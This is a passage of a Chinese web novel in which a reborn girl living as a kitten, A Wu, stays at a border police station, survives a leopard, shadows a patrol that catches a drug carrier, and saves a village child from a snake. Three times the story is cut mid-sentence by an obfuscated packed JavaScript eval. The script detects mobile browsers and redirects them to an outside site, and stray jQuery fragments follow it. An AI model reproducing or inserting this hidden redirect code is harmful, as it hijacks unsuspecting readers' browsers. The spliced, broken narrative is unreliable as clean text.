阿五不断往深处而去,直至碰到阻碍。 她迅速在树干里掉了个头,紧张地注视着洞口。 这是一棵折断的大树,树干中空。阿五想,这个洞口大小,花斑大猫应当是进不来的。 果然花斑大猫在洞口掏了半天,都没有抓到小猫。 大猫的爪子从洞口消失了。 阿五屏息凝视黑乎乎的洞口,两只耳朵一动一动地捕捉周遭动静。 雨打枝干的噼啪声,风吹树叶的哗哗声,就是没有大猫的脚步声。 阿五全身的毛都已炸起,即刻往出口赶去。 树干被重重一击,树皮被利爪掀开。 阿五身形不稳,一脑袋撞了个眼冒金星。 “吼!” 花斑大猫愤怒的吼声近在咫尺。 那一爪下的树干里是空的。 阿五晃晃脑袋,又往前赶。 这棵树太脆了。 抵不过大风,也无法抵挡花斑大猫的利爪。 花斑大猫不断地用蛮力将树皮掀走,洞口它钻不进去,那就逼猎物出来。 期间大猫还会猛然冲到洞口,两边来回堵,誓要捉住这只伤害了它的小东西。 闪电划过夜空。 阿五瞅准间隙,一鼓作气从洞口冲出。 短暂的光明点亮了雨林,也照亮了阿五的身影。 “轰隆——” 雷声大作。 白光却未随着闪电的离去而消散,而是重新聚焦在了阿五身上。 “小猫?” 雷声与人声交融,轻不可闻。 阿五却听清了,她心弦一紧,马上停住了脚步,回身嘶吼:“哈!!” 身后却已经没有了猎手的身影。 花斑大猫嗅到人味,早已退开几步,不甘心地隐在林中窥伺。 边星遥晃了下手电。 阿五余光一瞟,发现身边忽然钻出了好些个人,端着一把奇特的玩意半蹲在地上警戒四周。 边星遥冲向了阿五。 “小猫?”他难以置信地瞧着地上狼狈不堪的小猫。 花斑大猫退走了。 它闻到了危险的味道。 阿五忌惮地瞄了几眼人类拿着的黑色玩意,到底是松了口气,软顿在了湿淋淋的地上:“咪。” 是我。 所里的车又急匆匆地下了山。 巧的是山下的兽医站里,值班的还是刀医生。 刀医生放下手中热气腾腾,还没吃两口的酸汤米线,起身走出柜台,还顺手用衣服下摆擦了擦眼镜。看过阿五的伤情后,她二话不说进了房间开始准备工作。 边星遥瞧了那碗米线一眼:“不好意思,打扰你吃饭了刀医生。” 刀医生摇摇头:“说说什么情况?” 边星遥将情况大致讲了讲。 此刻阿五浑身发抖地缩在染血的毛巾里,已昏迷不醒。 等阿五再次醒来,恍如隔世。 脑子混沌沌的,但她第一反应就是抬爪去摸胸口的坠子。 呼,坠子还在。 阿五的目光划过周围,物什都很眼熟,这是所长的屋子。 房内无人,而她如上次一般,住在床尾的纸箱里。 只是怎么感觉浑身上下有些动弹不得,束手束脚的。 阿五低头一打量,怔住了。 她怎么裹的和万里似的,浑身上下都是白布。 每个受了伤的小动物,都得被这么裹起来吗? 好浪费布哦。 听闻小猫醒了,马自平特意为阿五端来了肉饼蒸蛋:“慢慢吃,谢谢你上次帮我们捉老鼠,还有千万别去抓鸡了!” 肉饼蒸蛋的香气熏得阿五迷迷糊糊。 笃笃—— 门被叩响。 边星遥拉开门。 门外是教导员舒瀚海。 “教导员?” 舒瀚海笑眯眯的:“所长,我来给你送信,顺便瞧瞧大战豹子的小猫。” “那我走了。”马自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201080|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平赶忙起身离开。 舒瀚海笑笑:“好。” 边星遥接过黄色信封,扫了眼字迹:“我妹妹的信啊,多谢。” “顺手的事。” 阿五瞄了眼教导员,放心地继续埋头大吃特吃。 肉饼蒸蛋真是这世界上最好吃的东西! 舒瀚海拉过小马扎坐下,瞧小猫吃东西。 边星遥则靠在书桌边拆信。 待读完信,边星遥的脸色已变得古怪。 舒瀚海抬头关切地问:“怎么了星遥?” “星澄说过些日子想和我妈一起来所里看看。” “啊?”舒瀚海眼睛一亮,从小马扎上站起身,“好事啊,你干嘛苦着脸。” “我没有。” “还没有呢,你说说你都四年没回过家了吧。伯母和妹妹这可是第一次来所里,必须好好招待。”舒瀚海摩拳擦掌,“有没有说什么时候来啊?” “没,让我定。”边星遥垂下眼,“定好了给她们回个信。” “回什么信啊,等信到了,那都猴年马月了。打电话去,走走走。”舒瀚海揽着边星遥就要往外走,刚到门口又住了脚,将边星遥推了回去,自己风风火火地出了门,“哎,你等等,我先去看看哪天日子比较好,待会来告诉你。” 阿五沉浸在香气扑鼻的肉饼中,却还是闻到了所长身上传来的复杂气息,像是开心,又像是害怕。 她疑惑地瞅了眼陷入沉思的边星遥和他手中的纸张,暗自下了决心,她定要尽快学会此地人类的语言。 听不懂人话,实在是太麻烦了。 这次的救命之恩,不是简单一只鸡能够报答的。 最终边星遥的家人决定下个月月初来探亲,顺便在周边玩一玩。 这消息再次长出了翅膀,飞向了派出所的每个角落。 十天后。 阿五又回到了兽医站,万里同行。 她拆线,万里复查。 在刀医生剪开纱布的那一刻,阿五两眼一黑。 只要是被绷带绑着的地方,都没有毛毛,只余几片像蚯蚓一般被缝起来的丑陋粉色皮肤。 马自平在一旁看着,见小猫两眼一闭往后一倒,吓了一大跳。 马自平大叫:“刀医生!这是怎么了!” 刀医生手一顿,冷冷道:“闭嘴,你头发要是秃了几块,比它还伤心。” “……” 马自平老实闭了嘴。 刀医生处理好了阿五的伤口,又瞧了万里的腿,满意点头:“恢复不错,万里可以下地走走了,不要一直躺着。” 马自平闻言又支棱起来,事无巨细地询问记录着万里康复训练的要点。 而阿五面如死灰地躺在原地,不愿面对她现在是个秃毛丑猫的现实。 万里瞅着悲伤的小伙伴,赶忙安慰:“汪汪~” 日子一天天过去。 阿五躲在所长房间,直到新毛发长了出来,才愿意在白天出门。 虽然只有薄薄一层毛毛,但好歹是遮住了一点疤痕。 此地的医术实是出乎阿五意料,原来皮肤是可以缝起来的!难怪当时万里嚎得那么惨呢,幸好她缝针时晕过去了,阿五庆幸地想。 她从所长特意留的门缝中挤出,往万里的住处而去。 “万里,坐。” “好犬。” “万里,走!” “慢点慢点。” 阿五蹲坐在门口,好奇而认真地注视着院子里一人一犬的一举一动。 此刻的万里完全变了一只犬,往常阿五还没走到门口,万里就已经闻见了她的味道开始吠叫,今天却完全不理她,只是专心地盯着马自平。 8. 第 8 章 阿五很快就懂得了那几个口令的意思。 但万里为什么要服从这些指令呢? 阿五站在门外,两颗圆圆的眼睛里盛满了迷惑。 训练时间不长,内容也很简单。 万里的腿瘸着,精神却很好。在马自平掏出万里最爱的塑料球球时,万里的尾巴摇动得更欢了。 “拿着吧。”马自平将球球递给万里。 万里咬着球球满眼渴望地盯着马自平,又瞧瞧门外的小猫:“呜呜呜~” 马自平无奈:“可以可以,一起玩吧。” 万里脑袋一甩,快乐地将球抛给阿五。 “但只能一会会!” 万里充耳不闻,吐着舌头一瘸一拐地小跑向阿五。 阿五低头截住球球,被上头浓烈的狗味熏了一个跟头,赶紧将球推还给了万里。 万里“嗷呜”一口咬住球,又扔给阿五。 一猫一犬玩了几分钟,被马自平喊停。 万里意犹未尽,但还是乖乖地将球球还给了马自平。 阿五却松了口气,赶忙溜走了。 这么多天没有捕猎,她的爪子都要长毛了。 阿五在宅院里溜溜达达地闲逛,试图捉住一两只小鸟当作点心。 不过这些日子吃得太好,阿五自觉她变胖变大了,导致行动间有些失了灵活。 望着从爪下逃脱,扑棱棱飞走的灰色小鸟,阿五叹了口气。阿娘说得对,无论是何技艺,只要长时间不练,总是会生疏的。 阿五“呸呸”两口吐掉嘴里的鸟毛,鼻子一动。 嗯? 什么怪味? 好熟悉,焦糊味中带着些苦味,复杂且呛鼻,阿五不由自主地打了个喷嚏,这气味和上次雨夜时闻到的怪味很相似。 思及那怪人的诡异表现,阿五再顾不得什么小鸟,如临大敌地跳下树,寻找这股味道的来源。 阿五一路嗅闻着,跳出了院墙,在墙外的小道旁瞧见了个穿着绿色制服的背影。 阿五观察了一会,这背影是宅院里的人中,年纪最大的那一位,大家都称呼他为“老刘”。 老刘背对着阿五,一道白烟从他身前缓缓上升。阿五瞳孔一缩,没错,就是这烟,与雨夜时见到的极为相像! 她仔细嗅嗅,不过味道还是不大一样。 正当她想再瞧瞧情况时,老刘忽地叹了口气,往后一倒。 阿五炸了毛,老刘的身影顿时和雨夜时的高个男人重合了。 所长救了她,老刘是他们的一员,阿五想,她绝不能放任老刘不管! 见老刘举起手,又想将烟往嘴里塞时,阿五大惊失色,飞扑上前,伸爪打飞了他手里的烟,回身就往院子里飞奔。 “喵!” 所长!糟了! 整个院子的人都听到了阿五凄惨尖利的嚎叫声,纷纷奔了出来。 “怎么了?” 他们见阿五咬住边星遥的裤子就往外拖,颇有些摸不着头脑。 边星遥稍作思索,拔腿往外跑,正好在门口和老刘撞上。 “外面发生什么情况了吗?” 边星遥赶忙问。 老刘满脸困惑:“没事啊?” 阿五炸着毛,冲着老刘哈气。 老刘指指阿五:“这小猫刚才冲过来,莫名奇妙地打飞我的烟,又跑了,我刚想回来逮它。” “刘志雄同志,你不是戒烟了吗?”舒瀚海皱了眉。 刘志雄猛然间被教导员这么严肃的称呼,这才反应过来他说漏了嘴,眼神飘忽:“额,突然又想抽了。” 阿五此刻已然冷静,雨夜时的瘦高男人抽了那东西后,可是缓了许久才起身,怎么老刘这么快就过来了呢?还跟没事人一样。 她似乎误会了? 唔,难道让人变木的,不是焦糊味,而是像猪油似的那股味道? 边星遥一直低头观察着小猫,见状道:“这小猫估计是对烟味应激,没事了,散了吧大家。” 众人有些失望:“哦。” 刘志雄捂住了手,也赶紧开溜。 边星遥走到舒瀚海身边:“老刘的妈妈还好吗?” 舒瀚海凝视着刘志雄的背影,显然也在思考他的事:“我找时间再和他聊聊。” 边星遥点点头:“辛苦教导员同志了。” “少来。”舒瀚海撇撇嘴,又叹了口气,“我总觉得,哎,算了先不说了。” 边星遥明白他的未尽之语,刘志雄的老母亲身体一直不好,父亲瘫痪在床,姐妹们又都嫁去了外地。上有老下有小,只能靠他的妻子支撑,实在太难了。 现在又躲到他们看不见的地方,抽起了早就戒掉的烟,一定是遇到了解决不了的烦恼。 两人相继离开。 阿五蹲在院子里,抬腿挠了挠耳朵。 她刚才看见老刘的手流血了,是被她抓的。 过了两日,拿着宅院里的小鸟一顿练习的阿五感觉身手恢复,便拒绝了吃人类供给的食物,而是早出晚归地去林子里捕猎。 不管怎么说,白住在所长家就已经够厚脸皮了,再白吃白喝实在令阿五浑身难受。 森林固然危机重重,但她现在不是人,而是动物。 她吃鸟,吃兔子,吃大尾巴老鼠,旁的更大的动物自然也可以吃她。 阿五勉勉强强填饱了肚子,捉到一只大肥兔后回到了派出所。 夕阳西下,阳光照得整个世界都金灿灿的。 此刻恰是下班时间。 所里的人基本都住在宿舍,此刻正三三两两的从办公区出来,讨论晚饭煮什么吃。 阿五瞅准老刘的位置,赶忙叼着兔子过去,将兔子放在了老刘的面前,歉疚道:“喵呜。” 对不起,上次抓伤你了,这只兔子是我的赔礼,请务必收下呀。 阿五抬头看向老刘,却发现他的脸色变得极差。 阿五一愣,不明白为何。 她环顾四周,发现大家的脸色都有些不好。 她又做错了吗?阿五茫然。 老刘叹了口气,蹲下身,无奈地对着小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201081|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫。他伸出手,给小猫看:“都快好了,我知道你不是故意的。但是你是动物,可以去林子里捕猎,我们是人,不可以吃野生动物,你明白吗?” 阿五每日都去围观万里的康复训练,也常常混迹在民警中间,已经能听懂很多口令和简单的人话了。 但老刘一口气说了这么长一串,阿五暂时有点反应不过来。 有年轻民警走到老刘身边:“它就是只猫,能懂什么,算了。” “是啊,猫嘛,哪里懂人的事。” “但它知道抓伤了人就要道歉,心还是好的,也聪明,多说几遍,肯定就懂了。” 刘志雄再次叹气,将兔子还给了小猫:“死都死了,你叼走吃了吧。” 说完,他就离开了。 民警们也都摇摇头,相继走了。 边星遥处理完文件出来,瞧见了这一幕。 他刚想走过去,就见小猫叼起兔子,一撒腿就跑了。 阿五重新叼着兔子来到了林子里。 她听懂了老刘的话。 每一个地方都有它的规矩,阿五想,现在她已经知道了这个宅院的规矩。 不过阿五还是不太能理解这座宅院里的人在做的事。 他们很频繁地出门,但出门也并非是去干什么活,而是翻山越岭地在山中行走。 他们管这叫巡逻。 阿五能从花斑大猫口中捡回一条命,也是因为那天夜里所长正在带队巡逻。 阿五在山中捕猎时,曾碰到过一次巡逻队。 阿五出于弄清他们在干什么,以寻机报恩的心理,跟在了他们的身后。 她跟了一下午。 期间路过了水蛭谷,好几个人都被水蛭咬了。还好他们都随身带了盐,因此很快就处理完继续前行。 后来阿五随着巡逻队越过了一座陡峭的山壁,这路极窄,他们只能贴壁挪动。阿五望着深不见底的悬崖,立刻就明白她是如何遇上万里的了。 最终阿五跟着这支巡逻队回到了宅院。 一路无事。 阿五本来猜测这些人是以采药为生,为了人参或灵芝,才会住在山中,还时不时往深山里走。 可他们什么也不采,甚至自带干粮,连猎也不打。 他们甚至对捕猎这种行为可称得上是厌恶。 阿五想到这,在树干上翻了个身。 她现在已不再院子里捕小鸟了,但出于填饱肚子的需求,她还是会去林子里捕猎一切她能吃的动物,并没有因为老刘的态度产生动摇。 本来边星遥还有些担心小猫和老刘的关系变差,可见它没事猫一般晚上回来睡觉,也没有攻击老刘,就放下了心。 午后的太阳曝晒着地面,阿五躲在树荫里,摸着胸前的石头坠子,苦苦地思索。 她的余光忽然间瞟见一道熟悉人影路过,竟然也如她一般,颇为烦闷地在自言自语。 阿五立刻翻身坐好向下看去。 居然是马自平? 他在万里面前,一向都很快乐的,这是怎么了? 9. 第 9 章 “喵嗷~” “喵嗷!” 阿五叫了好几声,路过的马自平才茫然抬头,停下了脚步:“猫?” “喵~” 是我呀。 阿五从树冠中探出了一颗猫猫头,随后三两下爬下了树。 “不是说猫都不会下树的吗,你倒是个例外。”马自平惊叹地瞧着阿五利索下树,挠了挠头。 他四下看看,附近没人。 马自平索性往树下一坐,长长叹了口气:“哎。” “喵?” 你怎么了? 阿五蹲坐在马自平身边,疑惑地瞧着他。 马自平没有看阿五,只是一味地望着远方叹气。 阿五也不说话了,抬起一只爪子舔了舔毛。 她虽然小,但以前做人的时候,也是有很多烦恼的。 比如为什么她的腿不能走呢?为什么大姊姊生完孩子人就没了呢?为什么阿耶阿娘这么辛苦,他们还是要饿肚子? 但阿五从不将这些疑问讲出来。 因为这些事是无解的,说了之后腿不会变好,大姊不会复生,他们的肚子也不会凭空填饱。说出来除了让阿耶阿娘徒增伤心,并没有用处,不如她多搓一点麻来得更好。 马自平曲起腿,往后一躺,压扁了一片小草。 他望望上方晃动的枝叶,又侧头去看小猫。 小猫的腰腹处,有一片很明显不同的地方,仔细瞧,还能看见一点粉色的皮肤和狰狞的疤痕,就像万里一样。 马自平突然就开了口。 “我感觉很对不起万里。” 恰好这几个字阿五都听得懂,因此阿五听见马自平这么说,有些诧异地抬了头。 啊?他为什么这么说?他平日里简直是把万里当孩子在养。 “我也很对不起的战友们。” “哎,小猫你为什么不是一只犬呢?” 阿五甩了下尾巴,更是莫名其妙。 “你很聪明,如果是一只犬,一定是一只出色的警犬。” “我很后悔。” “那天我要是更警觉一些,手更快一点,就不会让万里跌进山崖,受这么严重的伤了。” 马自平将手放到眼前,悔恨地瞪着。 其实这件事舒瀚海已经找他谈了几次,可马自平每每想起,自责都啃噬着他的心。 “自从万里受了伤,每次他们出门去巡逻,去山上的观察点轮流驻守的时候,我都很害怕,怕听到一些不好的消息。” “夏天了,山里头有很多蛇,还有野猪、豹子,你和豹子打过架,你应该晓得豹子有多可怕的对吧?” “虽然说这些动物一般也不会靠近人,但这很难讲的,特别是野猪。”马自平喃喃,“去年巡逻的时候,有一只野猪发狂一样攻击我们,万里特别英勇地冲上去咬那只野猪,最后我们都活下来了。” 阿五发现他说到万里的时候,语调总是不由自主地就变得很高昂。唔,倒是很像她的街坊夸奖孩子时的模样。 “现在是很需要万里的时候,但这一切都被我搞砸了。”马自平的语调又变得低落,身上的味道也变了。 “我也想过办法,要不然就再去找一些犬来训练。但训练警犬又不是一顿饭工夫能搞定的事,得需要时间。那时候万里的腿也已经好了,又能投入战斗了,我这算不算浪费资源?” “而且我去训练新的犬了,就没有办法全心全意地照顾万里了,万里的伤腿要是因此恢复不好怎么整?” 马自平不说话了,又开始叹气。 阿五听得也要叹气了。 虫鸣声声,树影摇晃。 树下很安静,只有一个忧郁的人类,和一只眯着眼睛的小猫。 良久后,马自平笑了笑:“啊,和你讲一讲,我的心里好像舒服了那么一点。大概是因为你听不懂,也不会和我说话?” 他坐起身,将掉落的帽子捡起戴上,起身拍了拍衣服后摆,对小猫道:“好了我走了,你自个玩吧。” “喵呜~” 再见。 阿五目送马自平离去,虽然她并不能完整地听明白马自平的话,只能半猜半蒙。但大意应该就是马自平很担心巡逻队,也很担心万里。 阿五严肃着一张猫脸点点小脑袋,没错,应该就是这个意思。 那她能不能帮上一点忙呢? 大门口处传来了一阵喧嚣。 阿五望了眼天色,是巡逻队回来了。 她伸了个懒腰,溜溜达达地往宿舍而去。 刚到门口,阿五就瞧见了一堆泥人。 她吃了一惊。 只见巡逻队每一个人浑身上下全是土黄色的泥浆,外表狼狈不堪,眼神也充满了疲惫。 民警们在门口解散,各自去梳洗。 边星遥冲了个冷水澡,将自己恢复成了人样,又将脏得看不清原状的衣服洗了晒。 阿五慢慢地走到晒衣服的所长身边嗅了嗅。 没有血腥味。 但有淡淡的土味和牛味。 边星遥晒完衣服,看见了小猫,蹲下身摸了摸它的脑袋:“今天回来这么早?晚饭和我们一块吃?” 阿五甩甩尾巴,撇开了头,起身就走。 边星遥无奈。 舒瀚海早早地来到了边星遥的房间。 跟在阿五身后进房间的边星遥瞅了眼舒瀚海,拿毛巾擦了擦湿乎乎的头。 阿五跳上桌子,侧躺在了玻璃桌面上,尾巴一甩一甩。这上头凉丝丝的,夏天躺着再好不过了。 舒瀚海打量了下边星遥,问:“怎么回事?” “路上遇到一头发狂的牛,拉不住掉田里了。” 边星遥说着,坐到了小马扎上,伸手揪着领口散了散热气,又示意舒瀚海给他拿杯子,咕嘟嘟喝完了一整杯水。 “……辛苦了。”舒瀚海拿起帽子给边星遥扇了扇风,“我和老刘聊过了。” 边星遥正在往杯子里倒水,闻言一顿。 有点不同的气息从两人身上冒了出来,阿五停下了晃来晃去的尾巴,认真听。 舒瀚海的嗓子有点哑:“前段日子他妻子去田里,不小心滑倒摔断了腿。” 边星遥的神色变得很难看,唯一的劳动力倒下了,那这个家还怎么过下去? “你先别给钱了,老刘坚决不肯要。”舒瀚海一瞧边星遥脸色,就知道他想干什么,“我直接汇到了他家里,但他母亲也不肯要,还了回来,说是刘志雄每个月给家里寄的钱够用了。” 边星遥气闷地坐回了小马扎上。 “老刘还说不会因为家里出事,就耽误所里的事。” 听了这话,边星遥的脸色更冷更硬了。 阿五动动鼻子,所长身上的味道涩涩的。 “我会多注意老刘家里的情况的,哎。”舒瀚海摇摇头,起身拿起桌上的帽子就要离开,走到门口又回头道,“还有阿姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201082|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们这周六到,你别忘了啊。” “知道了,我记着呢。” 边星遥怔怔地发了一会呆,起身坐在了书桌前,轻轻拿开阿五的一只小爪,垂头去看桌面的照片。 所长也想自己的家人了吗? 阿五起身蹲坐在桌上,用爪子摸了摸脖子上的吊坠。 她也很想很想的。 随即边星遥又从书架中翻出了一本蓝封皮的厚厚笔记本,也没有翻开,只是放在自己眼前盯着看。 连上身上的味道,变得更涩了。 那笔记本里闻着,有植物的气息,阿五放下举着的毛爪子,颇为好奇地瞅着,里面是什么呢? 边星遥发了一会呆,又将蓝封皮的笔记本原封不动地放了回去。 阿五的目光定格在书架上。 边星遥瞧见阿五的样子,并没有说什么,只是伸手蹭蹭它的脸。这小猫礼貌得很,从不乱翻,他很放心。 阳光从厚厚的云层缝隙间探出。 巡逻队出发。 阿五早已在林子里觅食了。 她已经打定主意,吃饱了就去找巡逻队,今天要跟着他们。 毕竟她吃了马自平那么多顿饭,既然他担心巡逻队的安全,那么就让她尽一点力吧。 虽然她赶不走豹子,但至少能在豹子冲过来前,发出警告。 早晨的雨林中弥漫着一层薄雾,空气湿漉漉的,阳光一时间也无法进入林中。 吃饱后的阿五寻到巡逻队时,他们正在林间追逐着一个人。 阿五赶到后,巡逻队已经将男人按在了地上搜身。 男人身旁还散落着一些蘑菇。 陌生的男人脸朝下压在泥泞的土地上,不停挣扎哀求。 阿五隐在不远处的树后,炸着浑身的毛望着这一幕。 不知为何,她忽然间瞧见地上的男人换了一张脸。 换成了她的阿姊。 那日也如今天一般,阴阴的,没有太阳。 士卒们闯进门来,将抱着她想要离开的阿姊堵在了院子里。 林子里起了风。 阿姊的面庞被风吹去,变回了陌生的男人。 阿五开始发抖。 警察们从男人身上搜出了一块用油纸包的块状物。 边星遥接过那东西先是闻了闻,再翻开一瞧,一把将男人从地上扯了起来,喝问:“你还有什么好讲?” 男人在瞧见那油纸包后就萎靡了,和地上散落着被碾进泥里的蘑菇差不多。 巡逻不得不就此中断,他们要将这名携带毒品的嫌疑人移交给缉毒大队。 林子里忽然发出了簌簌的响动。 警戒的民警抬枪指向茂密的低矮树丛。 按着男人的民警则抓得更紧。 一只花斑小猫从层层枝叶后跳了出来。 “喵?” 雨林的路不会因为下山就变得好走,反而更滑了。 边星遥的心神基本全都落在了眼前的男人身上,尘埃落定前,一切危险都有可能发生。 阿五很老实地走在他们身边,心却翻腾得厉害。 她又嗅到了那股奇怪的味道。 来自民警手里的油纸包。 巡逻队就是为了这个东西,才把这男人抓住的。 所长他们为何要管?他们是士卒,是官府的人? 可宅院里的郎君,都是好人。 她见过的士卒,都不是人。 10. 第 10 章 山下。 有一行穿着色彩斑斓衣服,戴着帽子的边民们,肩扛背挑着一堆工具,正往山上来。 其中还有个四五岁的小女孩,紧紧跟在大人身旁。 民警们将男人扯进了一旁的林子里,背朝边民,让出了一条路。 “边所长?” 打头的中年男人瞧见路旁的边星遥,惊喜地打招呼。 边星遥笑着答复:“上午好。” 紧接着他三步并作两步走到中年男人身旁,压低声音:“迈叔,我们有点事,你们赶紧上去。” “哎哎。”迈叔连声应着,赶忙让身后的年轻人先上山,压着声音催促他们,“快点快点。” 小女孩被人抱在怀里,迈叔冲边星遥点点头后,也匆忙赶上前去。 阿五头一次在山里遇见这么小的女孩,估计和她前世差不多大。 见这些人的身影即将消失在山间薄雾中,她转头冲着边星遥道:“喵呜。” 我走了。 随即阿五就跃入丛林,一晃就消失不见了。 边星遥无奈摇摇头,带着人继续下山。 阿五找到迈叔等人时,小女孩已经被放下了地,正拉着迈叔的手一边爬山,一边问:“爷爷,叔叔的脚边有一只小猫,你瞧见了吗?” “爷爷瞧见了,秀秀你想要一只小猫吗?” 秀秀惊喜抬头:“想!” 迈叔笑呵呵的:“那爷爷到时候给你带一只回来。” “喔!好耶,我要有小猫啦!” 尾随的阿五听着他们之间的对话,尾巴竖得高高的。 队伍中间,一位大娘没忍住插了嘴:“迈叔,你说他们抓的是什么人呐?” “不要多问,反正是坏人。” 阿五不解,他们怎么知道那个人是坏人呢? 还是说,只要是所长他们抓的,就必定是坏蛋? 秀秀好奇,一定要问:“什么样的坏人?” 迈叔吓唬道:“特别坏,会把你拐走,永远也找不到爷爷的那种坏蛋。” “啊!不要!”秀秀恐惧地抓紧了爷爷的手。 迈叔见达到了效果,赶紧哄到:“不要怕,那些叔叔是专门抓这种坏蛋的。” “哦。”秀秀回头,已瞧不见山下的那片绿影了,“那,那只猫也是抓坏蛋的吗?” 前行的队伍中传来了一阵笑声。 “那只猫不是黑白色的,估计抓不了坏蛋。要不然秀秀你下次碰到那些叔叔,问问看?” 秀秀有点失望:“哦。” 这是什么说法?阿五晃晃尾巴尖。 “但爷爷知道他们那有一只大狗,就是专门抓坏蛋的。”迈叔道,“秀秀你是更喜欢小狗,还是喜欢小猫?要不不养小猫了,养一只小狗保护你?” 秀秀顿时忘记了害怕的事,犹豫道:“嗯……要小猫,还是小狗呢?” 直到一行人来到了茶山,秀秀也没有决定好。 轻纱般的薄雾在山坡上游动。 众人各自拿好工具,没入了这片茶林。 秀秀一会跟在迈叔身边,一会又跑到别的人那去,漫山遍野间都是她脆脆的笑声和呼声。 阿五藏在茶树里跟着秀秀,偷偷看她。 好想和她一块玩。 但她这么贸然出去,秀秀会不会被自己吓到呢? 秀秀忽然蹲在了茶树间,不知在鼓捣什么,没有出声。 大人们的喊声马上响起:“秀秀?秀秀你在哪儿呢?” 秀秀正满眼好奇地盯着茶树间出现的一条黑色尾巴。 “嘿。”她道,随之就伸手抓到了那条尾巴,一扯。 一条长长的、吐着信子的蛇猛然被扯出了藏身之处。 蛇身蜷曲,蛇头冲着秀秀而去。 一只毛爪忽地按住了蛇身。 秀秀坐倒在地上,睁大双眼,惊讶地看着这一幕。 阿五嗷呜一口,狠狠咬着蛇身疯狂甩头。 “秀秀?” 离秀秀最近的大人已经赶到。 “蛇!” 大娘将秀秀一把拉至身后,拿着手里的工具就往地上砸。 阿五见状放开蛇,立刻跳走。 好险!差一点就成猫泥了。 秀秀后知后觉地感到了害怕,她嘴一张就想哭时,阿五已经来到了她的眼前。 秀秀闭上了嘴。 她瞧着阿五,眨巴眨巴眼,泪珠沾湿了睫毛:“…猫,猫。” “喵呜。” 秀秀别怕。 阿五抬起一只爪子轻轻碰碰她的手。 秀秀的手也柔柔地落在了阿五背上。 大娘还在砸蛇。 蛇已经不怎么动了。 秀秀被迈叔抱走,阿五跟着走。 “爷爷!我要养它!”秀秀满眼都是地上的花斑小猫。 迈叔有点苦恼:“爷爷给你另外找一只好不好?这只是叔叔他们的猫。” “……”秀秀不死心,“我想找叔叔们问问。” 迈叔只得答应,他将秀秀放下,叮嘱道:“不要再乱跑了哦,跟着爷爷。” 那厢大娘已经将死蛇扔进了背篓。 无毒蛇,拿回去可以炖汤。 秀秀迫不及待地来到阿五身边,摸着她的毛毛:“小猫小猫,你叫什么名字呢?” 阿五认真回复:“嗷呜。” “你叫嗷呜呀,我叫秀秀。” 迈叔听着“哈哈”一笑,瞧着阿五有点纳闷,这猫怎么跟到这儿来了呢? 秀秀道:“嗷呜,你跟我回家好不好?” 阿五犹豫。 “我家里有小鱼,有鸡,还有肉,都可以给你吃。”秀秀诱惑道,“我还可以把我最最喜欢的大白兔奶糖也给你吃。” 大白兔奶糖是什么?阿五想象不出来。 但阿五想跟着秀秀去看看。 到了午饭时分,迈叔招呼大家吃饭。 阿五离开了,她要去山林里捕猎。 秀秀非常不舍,以为阿五回家了,伤心得多吃了两口饭。 然而下午他们要离开茶山时,秀秀惊喜地看见花斑小猫“嗖”地跳出茶树,翘着尾巴走了过来。 阿五一路跟着秀秀。 村子离茶山还挺远,他们一行人走了许久。 路上还有马车,阿五驻足看了良久,她还以为这个地方全是所长那种怪模怪样的车呢。 榕树村。 白墙黑瓦的房屋散落在山坡上。 零星的边民在其间穿梭往来。 村口有一棵极高极大的树,茂盛的气根垂落于地。 秀秀指着大榕树对阿五道:“嗷呜,这个大榕树有好几百岁了哦,比我大了好多好多!” 阿五震撼地望着,原来这个叫榕树。 “几十人才能抱住!”秀秀绕过气根,冲到大榕树旁,环抱树干,低头笑嘻嘻地瞧着阿五。 阿五也上前贴住大榕树。 迈叔笑呵呵地望着她们:“好啦秀秀,回家了。” “来了。” 村子里的建筑大多都是白墙黑瓦,瞧着与阿五家乡的样子也差不太多。 有几道炊烟袅袅升起,将本就不晴朗的天空蒙地更加阴翳。 阿五四处打量着,紧紧跟在秀秀脚边。 村里的路窄窄的,路上行人不多。 听见有人路过,有几扇由木板拼成的门就会“嘎吱”一声打开,露出个驼着背的爷爷或奶奶。 他们笑着回应秀秀的招呼,然后杵着拐杖倚着门,目送秀秀和迈叔离开。 迈叔身后的人不断离开,散入村子各处。 阿五晃晃尾巴尖,原来他们和迈叔不是一家人。 走到了快村尾的地方,迈叔和秀秀的家到了。 两棵芭蕉树栽种在门边,地上还开着几朵不知名的小黄花。 迈叔摸出钥匙开门。 秀秀快乐地和阿五分享,但精神明显不如上午了:“嗷呜,我们到家了哦。等吃完晚饭,我们和姐姐一块看孙悟空!” 